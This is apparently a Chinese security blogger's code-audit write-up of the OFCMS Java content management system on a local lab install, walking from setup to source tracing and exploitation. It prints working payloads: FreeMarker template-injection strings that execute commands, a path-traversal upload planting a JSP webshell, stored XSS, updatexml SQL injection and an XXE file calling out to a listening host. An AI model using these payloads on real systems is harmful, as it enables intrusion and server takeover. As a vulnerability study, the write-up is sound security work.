环境配置

环境配置保姆级教程

1
https://blog.csdn.net/Alexz__/article/details/116229266
  1. git加载项目

  2. maven设置

image-20221016160413719

  1. 然后maven重新加载项目

  2. 配置tomcat

注意urlapplication context是一致的

image-20221017095339170

deployment

image-20221017095420383

  1. 数据库配置

新建数据库,注意mysql驱动,我下载驱动失败,使用的是本地maven仓库的驱动

解决办法:(9条消息) IDEA连接Mysql失败:下载驱动失败,Failed todownload Cannot download Read timed out_疯狂的帆的博客-CSDN博客

image-20221017084958316

导入数据库

image-20221017093755923

选择之前创建的ofcms_database,run

image-20221017093829444

查看数据库,可以看到初始化成功

image-20221017094125072

启动,在localhost:8080/ofcms_admin

image-20221017112007508

然后配置之后(数据库这里我删除了,然后又整了一遍)

经过一段时间的加载,估计两三分钟,显示如下

image-20221017113103682

关于ofcms目录简析

(9条消息) 从OFCMS出发,浅析JavaWeb项目技术结构及其功能_Alexz__的博客-CSDN博客

Alexz__师傅的分析

image-20221017113932206

代码审计

SSTI

模板注入

首先需要了解freemarker模板注入

FreeMarker模板注入实现远程命令执行 - Eleven_Liu - 博客园 (cnblogs.com)

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

image-20221017192511608

点击联系我们,弹计算器

image-20221017192624277

查看pom.xml,其中含有freemarker

image-20221017192831167

该模板设置–>模板文件对应的文件是ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java

这里获取file_content采用的是getParameter函数.

image-20221017200507366

贴一些找的payload

1

1
2
freemarker.template.utility里面有个Execute类,如下图所示,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

2

1
2
freemarker.template.utility里面有个ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

3

1
2
3
没成功
freemarker.template.utility里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

4

1
${"freemarker.template.utility.Execute"?new()("calc.exe")}

5

1
2
没成功
[#ftl][#assign value= "freemarker.template.utility.Execute"?new()]${ value("calc.exe")}

任意文件上传漏洞

还是之前的ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java对应的save()函数

分析函数,会接受dirs,file_name,file_content,分别对应上传的路径,文件名,文件内容,并且没有添加过滤!!!,所以可以上传jsp木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}

抓包,修改dirs为../../../static,file_name为shell.jsp,file_content为jsp一句话木马的url编码

image-20221018160027581

生成一句话木马

image-20221018160036734

1
http://localhost:8081/ofcms_admin/static/shell.jsp?cmd=whoami

存储型xss

在用户评论处存在存储型xss漏洞,无需登录后台

1
<script>alert(1111)</script>

我随便找了一个公司新闻的地方

image-20221017212920373

提交评论

image-20221017212850331

效果如下

image-20221017212813153

存储型xss

image-20221017213014315

源码分析

对应的源码ofcms-api\src\main\java\com\ofsoft\cms\api\v1\CommentApi.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Action(path = "/comment")
public class CommentApi extends ApiBase {
/**
* 获取内容信息
*/
@ApiMapping(method = RequestMethod.GET)
@ParamsCheck(
{@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),
@ParamsCheckType(name = "site_id")})
public void save() {
try {
Map params = getParamsMap();
params.put("comment_ip", IpKit.getRealIp(getRequest()));
Db.update(Db.getSqlPara("cms.comment.save", params));
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson();
}
}
}

注意这里获取评论内容之后,直接更新的数据库,将评论内容存入数据库

对应的前端代码ofcms-admin\src\main\webapp\WEB-INF\page\default\article.html

image-20221018111429592

SQL注入漏洞

对应的功能 系统设置-->代码生成-->增加

burp抓包,这里可以使用update进行sql注入

找到对应的文件ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

对应于create()函数

image-20221018152537326

跟进Db.update()函数

image-20221018152649536

跟进MAIN.update()函数

image-20221018152716738

跟进update函数

260行进行数据库连接,261行进行数据库的更新操作

调用顺序,update的互相调用

image-20221018153342634

总体的调用过程大概就是这样

从数据库中找个表,of_sys_user,用来测试

image-20221018154839190

payload

1
update of_sys_user set login_name=updatexml(1,concat(0x7e,(database())),0) where user_id=2

可以看到爆出数据库名

image-20221018155004307

xxe漏洞

漏洞入口处位于ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/ReprotAction.java的expReport()函数中

函数前面主要是限制文件的后缀为jrxml,以及生成文件输入流,确定文件位置等等

跟进JasperCompileManager.compileReport方法

image-20221018162303618

到达JasperCompileManager.class,跟进compile

image-20221018162421235

跟进JRXmlLoader.load函数

image-20221018162614018

跟进load函数,load函数又调用另一个同名函数,最终调用xmlLoader.loadXML

image-20221018162736867

跟进xmlLoader.loadXML,其中调用了Digester类的parse解析我们文件输入流,也就是xml文档内容,并且默认没有禁用外部实体解析,所以存在xxe漏洞

image-20221018162839764

xxe漏洞利用

利用之前的文件上传,上传一个xxe.jrxml文件

image-20221018163729204

文件内容

1
<!DOCTYPE ANY [<!ENTITY % test SYSTEM "http://192.168.74.177:7777">%test; ]>

监听端口

1
python -m http.server 7777

payload

1
http://localhost:8081/ofcms_admin/admin/reprot/expReport.html?j=../../static/xxe

image-20221018163700093

总结

本次算是javacms的入门审计,跟着大佬的博客进行环境搭建与代码审计分析,以及漏洞利用。因为之前有php的审计基础,所以java上手还行,不算慢。

对freemarker模板注入,Digester.parse导致的xxe漏洞,以及任意文件上传(和传统的文件上传有些区别)都有了了解与实践。

这个过程中也是了解到了真实环境下漏洞的挖掘与利用,之后会分析更多的javacms,提高自己的审计能力。

参考链接

  1. (11条消息) 【Java代码审计】OFCMS 1.1.3 审计_YouthBelief的博客-CSDN博客_javacms代码审计
  2. 初识java代码审计——ofcms 1.1.4内容管理系统代码审计_Alexz__的博客-CSDN博客